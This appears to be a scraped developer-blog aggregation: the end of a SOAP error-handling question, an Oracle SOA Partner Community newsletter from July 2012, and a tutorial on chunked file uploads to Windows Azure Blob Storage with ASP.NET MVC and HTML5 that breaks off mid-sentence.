WSDL, it's hosted behind a firewall, for a vertical stack product. No, I can't change the data sender. Is this somehow automagically handled elsewhere and I just don't know what I don't know? I think I want to do some sort of message sink leading into this method, to intercept the soapenv:Body, but obviously this is for errors, so I'm not going to get errors every time. I'm not entirely sure how to handle this, but some pointers would be nice.

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  • SOA PARTNER COMMUNITY NEWSLETTER JULY 2012

    - by mseika
    SOA PARTNER COMMUNITY NEWSLETTER JULY 2012 Dear SOA partner community member To provide our community members the best of our knowledge, we want your feedback on our SOA Partner community. Thus we are organizing SOA Partner Community Survey 2012. We request you to participate in the survey and give your valuable feedback on various areas of marketing, sales and education. To continue our successful BPM Suite, Oracle is launching together with you Process Accelerators initiative. It’s your opportunity to co-develop and market predefined processes. Oracle Fusion Applications Design Patterns are a great tool to develop your SOA or BPM solution or process accelerators. To promote your SOA & BPM Specialization we continue to offer several benefits. This month we would like to highlight our Specialization Plaques - make sure you request one for your office! Our Fusion Middleware Summer Camps are booked out, if could not get a seat you can attend the SOA & BPM track @ Virtual Developer Day: Oracle Fusion Development Oracle demo systems offer´s two new demos: Business Driven Development based on BPM Suite & SOA Lifecycle Management. Jürgen KressOracle SOA & BPM Partner Adoption EMEA NEW CONTENT Community SurveyProcess Accelerators KitPlaques SOA & BPM SpecializedSOA & BPM at Virtual Developer Day News from our Partners & CommunityOverview of SOA Diagnostics in 11.1.1.6 Business driven development(BDD) demo now available! SOA Lifecycle Management Oracle Fusion applications design patterns Updated material by Oracle Connect and Network SOA Blogs SOA on Facebook SOA on LinkedIn SOA on Twitter Mix SOA Forum COMMUNITY SURVEY Like every year we would like to get your feedback in our SOA Partner Community Survey 2012. Make sure that You attend to further develop our community and support our planning! It is key for us to get your feedback to prepare for the next fiscal year. Back to top PROCESS ACCELERATORS KIT Oracle is very interested to co-develop and market with you, our partners, pre-defined processes for BPM Suite.I am very happy to announce a new program called “Oracle BPM Partner Solution Catalog”. This program will provide a one-stop shop for our customers looking for Oracle BPM partner solutions available in the market today.The Oracle BPM Solution Catalog will be hosted on our very popular Oracle Technology Network (OTN). To give you an idea of the scale of customer visibility, OTN today receives over 1Million hits per day from our business and developer community. We would like to invite you to list your Oracle BPM 11g solutions available today.In order to participate in this program, you need to do the following: Fill in the attached slide templates - #3 and #4 for each Oracle BPM 11g solution you would like to list on OTN.Please add links to whitepapers , videos, references to the specific solution in the template slide. We recommend that you create a landing page on your website for these linked artifacts and just point to the same from within the PowerPoint template. This will give you the flexibility to update the information as frequently as needed. If you have the particular solution in production or a reference available, please list them as well. Send the PowerPoint template slides (1 set of slides for each Oracle BPM solution) to [email protected]. In addition to having the opportunity to list your solutions on OTN for Oracle customers, you will have the chance to advertise your new wins/implementations/solutions in an Oracle Sponsored PM Webinar held every quarter. This program is targeted to go live by the end of summer 2012. At this point, we are targeting a soft launch in July end 2012 so send on your BPM solutions information as soon as possible. We would love to have your solution(s) listed in the “Oracle BPM Partner Solution Catalog” at the time of the launch. This will be a live repository so you can keep adding more solutions as they become available. If you have any questions, please feel free to contact us [email protected], Product Strategy Director, Oracle BPM , Phone +1 650.506.5486.Thank you and look forward to hearing from you. Oracle BPM team Process Accelerators Overview.pdf ProcessAcceleratorsDataSheet.pdf Demos draUPK.zip & trmUPK.zip BPM Solution repository slides.ppt Additional BPM material BPM Process Development Lifecycle Document that describes recommended approach to collaborative process modeling across business and IT tools ADF 11g PS5 Application with Customized BPM Worklist Task Flow (MDS Seeded Customization) by Andrejus Baranovskis BPMN process editor problems in 11.1.1.6 by Mark Nelson BPM – Disable DBMS job to refresh B2B Materialized View by Mark Nelson For the complete kit please visit the BPM folder at our SOA Community Workspace (SOA Community membership required). For the complete presentation please visit our SOA Community Workspace (SOA Community membership required). Information is Oracle and Partner confidential! Back to top PLAQUES SOA & BPM SPECIALIZED We continue to offer you a nice SOA & BPM Specialization plaque with your logo to proof your success. If you are a SOA or BPM Specialized partner and would like to request the plaque please send Brigitte an e-mail with the following information: Partner Name Partner logo (preferred eps file) Partner Status gold or platinum Your shipping address Your Specialization: SOA or BPM We recommend to mount the plaque at your office reception in addition you can use the SOA Specialization logos at your website download Logo: Gold & Platinum or the BPM logos Gold & Platinum Back to top SOA & BPM AT VIRTUAL DEVELOPER DAY Register now for this FREE hands-on online workshop Get up to date and learn everything you wanted to know about Oracle ADF & Fusion Development plus live Q&A chats with Oracle technical staffOracle Application Development Framework (ADF) is the standards based, strategic framework for Oracle Fusion Applications and Oracle Fusion Middleware. Oracle ADF’s integration with the Oracle SOA Suite, Oracle WebCenter and Oracle BI creates a complete productive development platform for your custom applications.Join us at this FREE virtual event and learn the latest in Fusion Development including: Is Oracle ADF development faster and simpler than Forms, Apex or .Net? Mobile Application Development with ADF Mobile Oracle ADF development with Eclipse Oracle WebCenter Portal and ADF Development Application Lifecycle Management with ADF Building Process Centric Applications with ADF and BPM Oracle Business Intelligence and ADF Integration Live Q&A chats with Oracle technical staff Developer lead, manager or architect - this event has something for everyone. Don’t miss this opportunity.Tuesday, July 10, 2012. 9:00 a.m. PT -1:00 p.m. PT 11:00 a.m. CT - 3:00 p.m. CT 12:00 p.m. ET - 4:00 p.m. ET 1:00 p.m. BRT - 5:00 p.m. BRT Register online now! for this FREE event. Agenda: 09:00 am Opening 09:30 am Keynote: Oracle Fusion Development Track1Introduction to Fusion Development Track2What's New in Fusion Development Track3Fusion Development in the Enterprise 10:00 am Is Oracle ADF Development Faster and Simpler than Oracle Forms, APEX or .Net? Mobile Application Development with ADF Mobile Oracle WebCenter Portal and ADF Development 11:00 am Rich Web UI made simple - an ADF Faces Overview Oracle Enterprise Pack for Eclipse - ADF Development Building Process Centric Applications with ADF and BPM 12:00 noon Next Generation Controller for JSF Application Lifecycle Management for ADF Oracle Business Intelligence and ADF Integration *Hands On Lab – WebCenter and ADF Lab w/ JDeveloper - Lab materials will be provided ahead of the event to give you ample time to work through the lab and increase the productivity of the live chat sessions the day of the event. Sessions abstractsRegister online now! for this FREE event Read more on Community Events and post your comment here. Back to top NEWS FROM OUR PARTNERS AND COMMUNITY Send your tweets @soacommunity #soacommunity and follow us at http://twitter.com/soacommunity JDeveloper & ADF?Troubleshooting BPMN process editor problems in 11.1.1.6http://dlvr.it/1p0FfS SOA Community?SOA & BPM @ Virtual Developer Day: Oracle Fusion Development - July 10th 2012https://soacommunity.wordpress.com/2012/07/02/soa-bpm-virtual-developer-day- oracle-fusion-developmentjuly-10th-2012/#soacommunity #soa #bom #education orclateamsoa ?A-Team Blog #ateam: BAM design pointers - In working recently with a large Oracle customer on SOA and BAM, I discove.http://ow.ly/1kYqES SOA CommunitySOA Community Newsletter June 2012http://wp.me/p10C8u-qw SOA CommunityBPMN process editor problems in 11.1.1.6 by Mark Nelsonhttp://redstack.wordpress.com/2012/06/27/ bpmn-process-editor-problems-in-11-1-1-6 #soacommunity #bpm OTNArchBeat ?SOA Learning Library: free short, topic-focused training on Oracle SOA & BPM products | @SOACommunity http://pub.vitrue.com/NE1G Andrejus Baranovskis ?ADF 11g PS5 Application with Customized BPM Worklist Task Flow (MDS Seeded Customization)http://fb.me/1coX4r1X1 SOA CommunitySOA Learning Library provides a comprehensive curriculum for the SOA and BPM product suites https://soacommunity.wordpress.com/2012/06/27/soa-learning-library #soacommunity #soa #bpm OTNArchBeat ?A Universal JMX Client for Weblogic - Part 1: Monitoring BPEL Thread Pools in SOA 11g | Stefan Koserhttp://pub.vitrue.com/mQVZ OTNArchBeat ?BPM - Disable DBMS job to refresh B2B Materialized View | Mark Nelson http://pub.vitrue.com/3PR0Oracle SOA ?Learn how Choice Hotels Implements Innovative Google Maps Solution with #OracleSOA http://bit.ly/MTwIJ3 SOA Communitytop Tweets SOA Partner Community - June 2012 Send your tweets @soacommunity #soacommunity https://soacommunity.wordpress.com/2012/06/25/top-tweets-soa-partner-community-june-2012 Torsten Winterberg#OPITZ is pushing Oracle commitment to the next level: New Specializations done: ADF, BPM, WLS, Exadatahttp://bit.ly/KX1WVS ServiceTechSymposium ?Only 8 more days left until Super Early Bird Registration Discount expires! http://www.servicetechsymposium.com OracleBlogsSOA Management in 3 minutes - Video explainerhttp://ow.ly/1kN5pn SOA Community ?SOA, Cloud & Service Technology Symposium 2012 London - Enter Promo Code: Djmxz370https://soacommunity.wordpress.com/2012/06/22/soa-cloud-service-technology-symposium-2012-london #soasymposium #soacommunity #soa Heidi BuelowGreat course! w David Read RT @soacommunity: product management ADF for BPM training 5 seats left https://soacommunity.wordpress.com/2012/06/12/fusion-middleware-summer-campsadvanced-partner-trainings/ #bpm #soacommunity SOA Community ?product management ADF for BPM training 5 seats lefthttps://soacommunity.wordpress.com/2012/06/12/fusion-middleware-summer-campsadvanced-partner-trainings/ #bpm #soacommunity OTNArchBeat ?Oacle Fusion Applications Design Patterns Now Available For Developers | Ultan O'Broinhttp://pub.vitrue.com/UEiF OTNArchBeat ?SOA, Cloud & Service Technology Symposium 2012London - Special Oracle Discounthttp://pub.vitrue.com/8E0J SOA CommunityBecome a facebook fan of soacommunity http://www.facebook.com/soacommunity #soacommunity SOA Community ?SOA Suite HealthCare Integration Architecture https://blogs.oracle.com/SOAForHealthcare/entry/soa_suite_healthcare_integration_architecture #soacommunity #soa Andrejus Baranovskis ?Running Pre-built Virtual Machine for SOA Suite and BPM Suite 11g PS5 on Mac OS X Snow Leopard (10.6http://fb.me/vB8nO0Vg OracleBlogsPrinciples of Service-Oriented Architecture by Douwe P. van den Bos http://ow.ly/1kIcOP OTNArchBeatOracle Public Cloud Architecture | @TylerJewell http://ow.ly/bHAcL The SOA Network ?Business Process Management, Service-Oriented Architecture, and Web 2.0: Business Transformation or.http://bit.ly/LBgREL #ITNews #SOA OracleBlogs ?Oracle SOA Foundation Practitioner Certificationhttp://ow.ly/1kGYYg Frank Nimphius ?Learn Advanced ADF. ORACLE Fusion Middleware Summer Camps in Lisbon - July 9th - 13thhttp://bit.ly/KGCl3i SOA CommunityTransform Your Application Integration with Best Practices from Oracle Customershttps://blogs.oracle.com/SOA/entry/transform_your_application_integration_with #soacommunity #soa #bpm Simone GeibWhat you always wanted to know about #oraclesoa diagnostics: Shawn Bailey, Overview of SOA Diagnostics in 11.1.1.6,http://ow.ly/bxK0M Oracle SOA ?Save the date: Jun 21 10AM, SOA & BPM Customer Insight Series. Hear how Choice Hotels went from legacy to #oraclesoa http://bit.ly/LsNDGl OTNArchBeat ?New VirtualBox images for Oracle SOA Suite & Oracle BPM Suite 11.1.1.6.0http://ow.ly/bwDAl OracleBlogs ?Process development lifecycle in Oracle BPM 11g http://ow.ly/1ktesY Daniel AmadeiNew post: Oracle BPEL 11g Message Delivery & Recovery.http://amadei.com.br/blog/index.php /oracle-bpel-11g-message-delivery SOA Community ?Sending out the June edition of the #soacommunity newsletter - read it or become a member http://www.oracle.com/goto/emea/soa!#soa #bpm Arun Pareek ?For the past six months Ahmed Aboulnaga and me have been working on Oracle SOA Suite 11g Administrator's Handbook.http://lnkd.in/CAvpUQ SOA CommunitySun shine all day no clouds - solar eclipse is over... #sunshine #cloud http://www.infoq.com/presentations/Swarm-Computing Michel SchildmeijerWatch my blog Oracle Service Bus 11g: listing projects and services with WLST - part 1 http://lnkd.in/B7f3GQ @TITAN_GS @wlscommunity OTNArchBeatBook Review: Oracle Application Integration Architecture (AIA) Foundation Pack 11gR1: Essentials | Rajesh Rahejahttp://ow.ly/bn2cc OTNArchBeat ?Driving from Business Architecture to Business Process Services | @vghariharan http://ow.ly/bn5UB OTNArchBeat ?SOA Analysis within the Department of Defense Architecture Framework (DoDAF) 2.0 - Part II | Dawit Lessanu http://ow.ly/bn6sX Simone Geib ?Contact me directly for ideas how to improvehttp://bit.ly/advancedsoasuite and additional posts, presentations, white papers, ... #soasuite Simone Geib ?#soasuite advanced OTN page has become too cluttered. Broke it into separate pages to start with. http://bit.ly/advancedsoasuite OracleBlogs ?June Webcast: SOA Gateway Implementation and Troubleshooting (2 sessions) http://ow.ly/1kbRFA ServiceTechSymposium ?New session just posted to calendar: "NoSQL for Data Services, Data Virtualization & Big Data" by Guido Schmutz, Trivadis AG ://ow.ly/bjjOeDebra Lilley ?looks good - real proof people are using the apps ! RT @fteter: Very cool Fusion Applications Help site: http://bit.ly/L3nvOR #FusionApps demed ?rapid proliferation of cloud computing will drive convergence of SOA and cloud paradigms" http://ovum.com/2012/05/18/soa-paves-the-way-for-cloud/ SOA CommunityMiddleware Oracle Excellence Awards 2012-HAPPY NEW YEAR! https://soacommunity.wordpress.com/2012/05/31/middleware-oracle-excellence-awards-2012happy-new-year/ #soacommunity #opn #opnaward #specialization #oracle SOA CommunityHappy New Year #soacommunity thanks for the business! Time for a drink http://pic.twitter.com/zkK08KWB OTNArchBeat ?Who should ‘own’ the Enterprise Architecture? | Michael Glas http://bit.ly/K0ge0Q SOA Communitytop Tweets SOA Partner Community &ndash; May 2012 http://wp.me/p10C8u-pP ServiceTechSymposiumNew session just posted to Symposium calendar: "Elastic SOA in the Cloud" by Steve Millidge, C2B2 Consulting http://www.servicetechsymposium.com/agenda2012.php #elastic_soa_in_the_cloud orclateamsoa ?A-Team Blog #ateam: How to Set JVM Parameters in Oracle SOA 11Ghttp://ow.ly/1k2cnl ServiceTechSymposium ?New session just posted to Symposium calendar: "SOA Governance at EDP: A Global Energy Company" by Manuel Rosa, Linkhttp://www.servicetechsymposium.com/agenda2012.php#soa_governance_at_edp SOA Community ?VirtualBox image SOA Suite & BPM Suite 11.1.1.6.0&ndash;Your feedback?http://wp.me/p10C8u-qh Oracle MiddlewareSave the date: Jun 21 10AM, SOA & BPM Customer Insight Series. Hear how Choice Hotels went from legacy to#oraclesoa http://bit.ly/LU1y5N OTNArchBeat ?Goodbye, Silos. Hello SOA. | @stephanieoverbyhttp://pub.vitrue.com/NJJO SOA CommunityBPM Standard Edition - to start your BPM project http://wp.me/p10C8u-qj Please feel free to send us your news! And add your blog to our SOA blog wiki. Back to top OVERVIEW OF SOA DIAGNOSTICS IN 11.1.1.6 What tools are available for diagnosing SOA Suite issues? There are a variety of tools available to help you and Support diagnose SOA Suite issues in 11g but it can be confusing as to which tool is appropriate for a particular situation and what their relationships are. This blog post will introduce the various tools and attempt to clarify what each is for and how they are related. Let's first list the tools we'll be addressing: RDA: Remote Diagnostic Agent DFW: Diagnostic Framework Selective Tracing DMS: Dynamic Monitoring Service ODL: Oracle Diagnostic Logging ADR: Automatic Diagnostics Repository ADRCI: Automatic Diagnostics Repository Command Interpreter WLDF: WebLogic Diagnostic Framework This overview is not mean to be a comprehensive guide on using all of these tools, however, extensive reference materials are included that will provide many more details on their execution. Another point to note is that all of these tools are applicable for Fusion Middleware as a whole but specific products may or may not have implemented features to leverage them. A couple of the tools have a WebLogic Scripting Tool or 'WLST' interface. WLST is a command interface for executing pre-built functions and custom scripts against a domain. A detailed WLST tutorial is beyond the scope of this post but you can find general information here. There are more specific resources in the below sections.In this post when we refer to 'Enterprise Manager' or 'EM' we are referring to Enterprise Manager Fusion Middleware Control. read the full blog post here. Read more on Oracle and post your comment here. Back to top BUSINESS DRIVEN DEVELOPMENT (BDD) DEMO NOW AVAILABLE! For access to the Oracle demo systems please visit OPN and talk to your Partner Expert DSS is pleased to announce the availability of the demo “Business Driven Development“. This innovative demonstration uses a case-study approach to show business users how they can easily streamline their Business Processes - delivering greater efficiency, agility, visibility and collaboration with Oracle BPM and WebCenter. The BDD demonstration uses a case study-based approach to highlight a business problem at a fictional company, Avitek Corporation, and uses Oracle BPM and Oracle WebCenter to solve the business problem. This holistic approach has specifically been used to appeal to a non-technical business analyst user. This demo is NOT focused on product features, but aims to guide users through a complete BPM lifecycle. The scenario is based on improving a simple order process (scenario details are in the demo script). Avitek Corporation is sufferinng from a manual email-driven ordering process. Sales reps don’t know where the customer orders are stuck (no visibility) and finance users are unable to manually approve every order (no automation). There are several areas where this process can be improved with Business Process Management technology. This demo shows how improving following areas will ignificantly help resolve the business problems Avitek Corporation is facing. Areas for improvement include: Utilizing BPM for process management, rather than an unregulated, email-based process. Utilizing automated services, rather than requiring a human to key into a system. For example, Finance checking the customer’s credit rating is something that could be automated. Centralizing business rules that can be integrated into a business process, rather than requiring a human to process them. For example, Finance must determine when orders can be automatically approved. Provide insight and visibility into the process. For example, Sales Rep needs to know the status of their customer’s orders. The BDD Demo uses the following products. Oracle BPM Suite 11g PS4FP Oracle WebCenter 11g PS4FP (for Process Spaces) Oracle Business Activity Monitoring 11g Oracle Database 11g Back to top SOA LIFECYCLE MANAGEMENT For access to the Oracle demo systems please visit OPN and talk to your Partner Expert We are pleased to announce the availability of the SOA Management demo that showcases some of the key provisioning and lifecycle management capabilities of SOA Management Pack Enterprise Edition (EE). This demo specifically focuses on some of the lifecycle management solutions for Oracle SOA Suite and Oracle Service Bus (OSB). Demo Highlights The demo showcases the following capabilities. Provisioning of SOA Composites Provisioning of OSB Projects Provision SOA and OSB artifacts in a future maintenance window Back to top ORACLE FUSION APPLICATIONS DESIGN PATTERNS The Oracle Fusion Applications user experience design patterns are published! These new, reusable usability solutions and best-practices, which will join the Oracle dashboard patterns and guidelines that are already available online, are used by Oracle to artfully bring to life a new standard in the user experience, or UX, of enterprise applications. Now, the Oracle applications development community can benefit from the science behind the Oracle Fusion Applications user experience, too. These Oracle Fusion Applications UX Design Patterns, or blueprints, enable Oracle applications developers and system implementers everywhere to leverage professional usability insight when: tailoring an Oracle Fusion application, creating coexistence solutions that existing users will be delighted with, thus enabling graceful user transitions to Oracle Fusion Applications down the road, or designing exciting, new, highly usable applications in the cloud or on-premise. Based on the Oracle Application Development Framework (ADF) components, the Oracle Fusion Applications patterns and guidelines are proven with real users and in the Applications UX usability labs, so you can get right to work coding productivity-enhancing designs that provide an advantage for your entire business. What’s the best way to get started? We’ve made that easy, too. The Design Filter Tool (DeFT) selects the best pattern for your user type and task. Simply adapt your selection for your own task flow and content, and you’re on your way to a really great applications user experience. More Oracle applications design patterns and training are coming your way in the future. To provide feedback on the sets that are currently available, let me know in the comments! Read more on Fusionapps and post your comment here. Back to top UPDATED ORACLE MATERIAL Integrated SOA Gateway Documentation - Implementation Guide | Developer’s Guide Webcast Series: Oracle’s SOA and Oracle Business Process Management Solutions (Choice Hotels, Eaton, Farmers Insurance) BAM design pointers By Kavitha Srinivasan Seeking Oracle Fusion Middleware Go Live StoriesOracle Fusion Middleware product management is looking for recent go live stories to share with the Oracle sales team, sales consulting, product management and other internal groups. Customer contact details may remain anonymous. Your successful implementation will be featured in a quarterly report. The chance to present on an internal webcast is also available. Contact Maria Forney ([email protected]) if you have a noteworthy implementation success story. This is a good opportunity for partners interested in showcasing Oracle Fusion Middleware implementations, and gaining more exposure within Oracle. Performance tuning resources. All in one: docs, blogs, WPs, ppts: http://bit.ly/soa_resources Back to top HAVE YOU MISSED OUR LAST SOA PARTNER COMMUNITY WEBCASTS? UPK Webcast Business Driven Application Management & BPM11g & Application Grid & GoldenGate & Fusion Middleware Pricing & OC4J to WebLogic & Next Generation SOA & Fusion Middleware in Utility & Fusion Middleware in Communications & Fusion Middleware in Public Services & Fusion Middleware in Financial Services Please check your local OPN trainings calendar for additional training dates and locations. Back to top SOA PARTNER COMMUNITY CALENDAR On-Demand Trainings Event Name Language Type SOA Virtual Developers Day English Tech In-Class Trainings Date Event name Location / Country Contact person Type 09-13.07.2012 BPM Suite 11g advanced training by David Read Lisbon, Portugal Jürgen Kress Tech 09-13.07.2012 ADF 11g advanced training by Grant Ronald and Frank Nimphius Lisbon, Portugal Jürgen Kress Tech 09-13.07.2012 WebCenter Portal advanced training by Stefan Krantz and Angelo Santagata Lisbon, Portugal Jürgen Kress Tech 10.07.2012 Fusion Middleware Virtual Developer Day Online OTN Tech 10- 12.07.2012 WebLogic 12c training by Cosmin Tudor Lisbon, Portugal Jürgen Kress Tech 16-18.07.2012 SOA Suite 11g advanced training by Niall Commiskey Munich, Germany Jürgen Kress Tech 16-18.07.2012 ADF for BPM Suite 11g advanced training by David Read Munich, Germany Jürgen Kress Tech 16-18.07.2012 WebCenter Sites 11g advanced training by Product Management Munich, Germany Jürgen Kress Tech 17-20.07.2012 Oracle BPM 11g Implementation Bootcamp Live Virtual Class Oracle University Tech 23-26.07.2012 Oracle BPM 11g Implementation Bootcamp Utrecht, Netherlands Oracle University Tech 29-31.08.2012 Oracle BPM 11g Implementation Bootcamp Live Virtual Class Oracle University Tech 02-05.10.2012 Oracle BPM 11g Implementation Bootcamp Utrecht, Netherlands Oracle University Tech 15-18.10.2012 Oracle BPM 11g Implementation Bootcamp Utrecht, Netherlands Oracle University Tech 28-30.11.2012 Oracle AIA 11g Implementation Bootcamp Live Virtual Class Oracle University Tech 11-14.12.2012 Oracle BPM 11g Implementation Bootcamp Live Virtual Class Oracle University Tech 20-22.2.2013 Oracle AIA 11g Implementation Bootcamp Utrecht, Netherlands Oracle University Tech 14-17.1.2013 Oracle BPM 11g Implementation Bootcamp Utrecht, Netherlands Oracle University Tech 15-18.3.2013 Oracle BPM 11g Implementation Bootcamp Utrecht, Netherlands Oracle University Tech Please check your local OPN Training Calendar for additional training and locations here. Back to top SOASCHOOL.COM - SOA CERTIFIED PROFESSIONAL(SOACP) PROGRAM The SOASchool.com - SOA Certified Professional (SOACP) program is dedicated to excellence in the field of SOA and service-oriented computing. Through a series of seasoned course modules and exams, IT professionals have the opportunity to obtain a number of different certifications to recognize their accomplishment of gaining "project ready" SOA proficiency. This comprehensive and strictly vendor-neutral program was developed in cooperation with best-selling SOA author Thomas Erl and several major SOA organizations and academic institutions. Through the involvement of the SOA Education Committee, course contents and certification requirements are constantly reviewed and revised to stay current with developments in the service-oriented computing industry. The program is currently comprised of 12 course modules and 5 certifications and is expanding to 18 course modules and 8 certifications throughout 2009. For more information, visit www.soaschool.com and www.soacp.com. Blog Twitter LinkedIn Mix Forum Wiki Back to top YOUR CONTENT ON THE NEWSLETTER AND ON THE SOA COMMUNITY PORTAL Publishing Your StoriesWe would like to invite our partners to publish information in the newsletter or on our SOA Community portal. Especially we are looking for your real life experience with our SOA technology. Please send your documents to Jürgen Kress. We look forward to getting your suggestions! Back to top SOA DISCUSSION FORUM BECOMES INTERACTIVE AT THE SOA COMMUNITY! Do you want to chat to experts, including partners and Oracle SOA Product Development? Do you want to get the latest information about our SOA solutions and events?Attend our private online SOA Discussion Forum at OTN. Please send your OTN forums user name to Brigitte Felisaz. You must be a registered user to access the SOA Discussion Forum. Back to top INVITE YOUR COLLEAGUES TO JOIN THE SOA COMMUNITY Please feel free to invite your colleagues to join the SOA Community and to participate in the SOA Assessment tests. For registration please login the Oracle PartnerNetwork and go to: www.oracle.com/goto/emea/soa For any questions on the above or concerning SOA and Oracle in general please contact the Oracle EMEA Alliances & Channels SOA Team. Best regardsOracle EMEA SOA TeamJürgen Kress Jürgen KressSOA Partner Adoption EMEATel. +49 89 1430 1479E-Mail: [email protected]

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  • Upload File to Windows Azure Blob in Chunks through ASP.NET MVC, JavaScript and HTML5

    - by Shaun
    Originally posted on: http://geekswithblogs.net/shaunxu/archive/2013/07/01/upload-file-to-windows-azure-blob-in-chunks-through-asp.net.aspxMany people are using Windows Azure Blob Storage to store their data in the cloud. Blob storage provides 99.9% availability with easy-to-use API through .NET SDK and HTTP REST. For example, we can store JavaScript files, images, documents in blob storage when we are building an ASP.NET web application on a Web Role in Windows Azure. Or we can store our VHD files in blob and mount it as a hard drive in our cloud service. If you are familiar with Windows Azure, you should know that there are two kinds of blob: page blob and block blob. The page blob is optimized for random read and write, which is very useful when you need to store VHD files. The block blob is optimized for sequential/chunk read and write, which has more common usage. Since we can upload block blob in blocks through BlockBlob.PutBlock, and them commit them as a whole blob with invoking the BlockBlob.PutBlockList, it is very powerful to upload large files, as we can upload blocks in parallel, and provide pause-resume feature. There are many documents, articles and blog posts described on how to upload a block blob. Most of them are focus on the server side, which means when you had received a big file, stream or binaries, how to upload them into blob storage in blocks through .NET SDK.  But the problem is, how can we upload these large files from client side, for example, a browser. This questioned to me when I was working with a Chinese customer to help them build a network disk production on top of azure. The end users upload their files from the web portal, and then the files will be stored in blob storage from the Web Role. My goal is to find the best way to transform the file from client (end user’s machine) to the server (Web Role) through browser. In this post I will demonstrate and describe what I had done, to upload large file in chunks with high speed, and save them as blocks into Windows Azure Blob Storage.   Traditional Upload, Works with Limitation The simplest way to implement this requirement is to create a web page with a form that contains a file input element and a submit button. 1: @using (Html.BeginForm("About", "Index", FormMethod.Post, new { enctype = "multipart/form-data" })) 2: { 3: <input type="file" name="file" /> 4: <input type="submit" value="upload" /> 5: } And then in the backend controller, we retrieve the whole content of this file and upload it in to the blob storage through .NET SDK. We can split the file in blocks and upload them in parallel and commit. The code had been well blogged in the community. 1: [HttpPost] 2: public ActionResult About(HttpPostedFileBase file) 3: { 4: var container = _client.GetContainerReference("test"); 5: container.CreateIfNotExists(); 6: var blob = container.GetBlockBlobReference(file.FileName); 7: var blockDataList = new Dictionary<string, byte[]>(); 8: using (var stream = file.InputStream) 9: { 10: var blockSizeInKB = 1024; 11: var offset = 0; 12: var index = 0; 13: while (offset < stream.Length) 14: { 15: var readLength = Math.Min(1024 * blockSizeInKB, (int)stream.Length - offset); 16: var blockData = new byte[readLength]; 17: offset += stream.Read(blockData, 0, readLength); 18: blockDataList.Add(Convert.ToBase64String(BitConverter.GetBytes(index)), blockData); 19:  20: index++; 21: } 22: } 23:  24: Parallel.ForEach(blockDataList, (bi) => 25: { 26: blob.PutBlock(bi.Key, new MemoryStream(bi.Value), null); 27: }); 28: blob.PutBlockList(blockDataList.Select(b => b.Key).ToArray()); 29:  30: return RedirectToAction("About"); 31: } This works perfect if we selected an image, a music or a small video to upload. But if I selected a large file, let’s say a 6GB HD-movie, after upload for about few minutes the page will be shown as below and the upload will be terminated. In ASP.NET there is a limitation of request length and the maximized request length is defined in the web.config file. It’s a number which less than about 4GB. So if we want to upload a really big file, we cannot simply implement in this way. Also, in Windows Azure, a cloud service network load balancer will terminate the connection if exceed the timeout period. From my test the timeout looks like 2 - 3 minutes. Hence, when we need to upload a large file we cannot just use the basic HTML elements. Besides the limitation mentioned above, the simple HTML file upload cannot provide rich upload experience such as chunk upload, pause and pause-resume. So we need to find a better way to upload large file from the client to the server.   Upload in Chunks through HTML5 and JavaScript In order to break those limitation mentioned above we will try to upload the large file in chunks. This takes some benefit to us such as - No request size limitation: Since we upload in chunks, we can define the request size for each chunks regardless how big the entire file is. - No timeout problem: The size of chunks are controlled by us, which means we should be able to make sure request for each chunk upload will not exceed the timeout period of both ASP.NET and Windows Azure load balancer. It was a big challenge to upload big file in chunks until we have HTML5. There are some new features and improvements introduced in HTML5 and we will use them to implement our solution.   In HTML5, the File interface had been improved with a new method called “slice”. It can be used to read part of the file by specifying the start byte index and the end byte index. For example if the entire file was 1024 bytes, file.slice(512, 768) will read the part of this file from the 512nd byte to 768th byte, and return a new object of interface called "Blob”, which you can treat as an array of bytes. In fact,  a Blob object represents a file-like object of immutable, raw data. The File interface is based on Blob, inheriting blob functionality and expanding it to support files on the user's system. For more information about the Blob please refer here. File and Blob is very useful to implement the chunk upload. We will use File interface to represent the file the user selected from the browser and then use File.slice to read the file in chunks in the size we wanted. For example, if we wanted to upload a 10MB file with 512KB chunks, then we can read it in 512KB blobs by using File.slice in a loop.   Assuming we have a web page as below. User can select a file, an input box to specify the block size in KB and a button to start upload. 1: <div> 2: <input type="file" id="upload_files" name="files[]" /><br /> 3: Block Size: <input type="number" id="block_size" value="512" name="block_size" />KB<br /> 4: <input type="button" id="upload_button_blob" name="upload" value="upload (blob)" /> 5: </div> Then we can have the JavaScript function to upload the file in chunks when user clicked the button. 1: <script type="text/javascript"> 1: 2: $(function () { 3: $("#upload_button_blob").click(function () { 4: }); 5: });</script> Firstly we need to ensure the client browser supports the interfaces we are going to use. Just try to invoke the File, Blob and FormData from the “window” object. If any of them is “undefined” the condition result will be “false” which means your browser doesn’t support these premium feature and it’s time for you to get your browser updated. FormData is another new feature we are going to use in the future. It could generate a temporary form for us. We will use this interface to create a form with chunk and associated metadata when invoked the service through ajax. 1: $("#upload_button_blob").click(function () { 2: // assert the browser support html5 3: if (window.File && window.Blob && window.FormData) { 4: alert("Your brwoser is awesome, let's rock!"); 5: } 6: else { 7: alert("Oh man plz update to a modern browser before try is cool stuff out."); 8: return; 9: } 10: }); Each browser supports these interfaces by their own implementation and currently the Blob, File and File.slice are supported by Chrome 21, FireFox 13, IE 10, Opera 12 and Safari 5.1 or higher. After that we worked on the files the user selected one by one since in HTML5, user can select multiple files in one file input box. 1: var files = $("#upload_files")[0].files; 2: for (var i = 0; i < files.length; i++) { 3: var file = files[i]; 4: var fileSize = file.size; 5: var fileName = file.name; 6: } Next, we calculated the start index and end index for each chunks based on the size the user specified from the browser. We put them into an array with the file name and the index, which will be used when we upload chunks into Windows Azure Blob Storage as blocks since we need to specify the target blob name and the block index. At the same time we will store the list of all indexes into another variant which will be used to commit blocks into blob in Azure Storage once all chunks had been uploaded successfully. 1: $("#upload_button_blob").click(function () { 2: // assert the browser support html5 3: ... ... 4: // start to upload each files in chunks 5: var files = $("#upload_files")[0].files; 6: for (var i = 0; i < files.length; i++) { 7: var file = files[i]; 8: var fileSize = file.size; 9: var fileName = file.name; 10:  11: // calculate the start and end byte index for each blocks(chunks) 12: // with the index, file name and index list for future using 13: var blockSizeInKB = $("#block_size").val(); 14: var blockSize = blockSizeInKB * 1024; 15: var blocks = []; 16: var offset = 0; 17: var index = 0; 18: var list = ""; 19: while (offset < fileSize) { 20: var start = offset; 21: var end = Math.min(offset + blockSize, fileSize); 22:  23: blocks.push({ 24: name: fileName, 25: index: index, 26: start: start, 27: end: end 28: }); 29: list += index + ","; 30:  31: offset = end; 32: index++; 33: } 34: } 35: }); Now we have all chunks’ information ready. The next step should be upload them one by one to the server side, and at the server side when received a chunk it 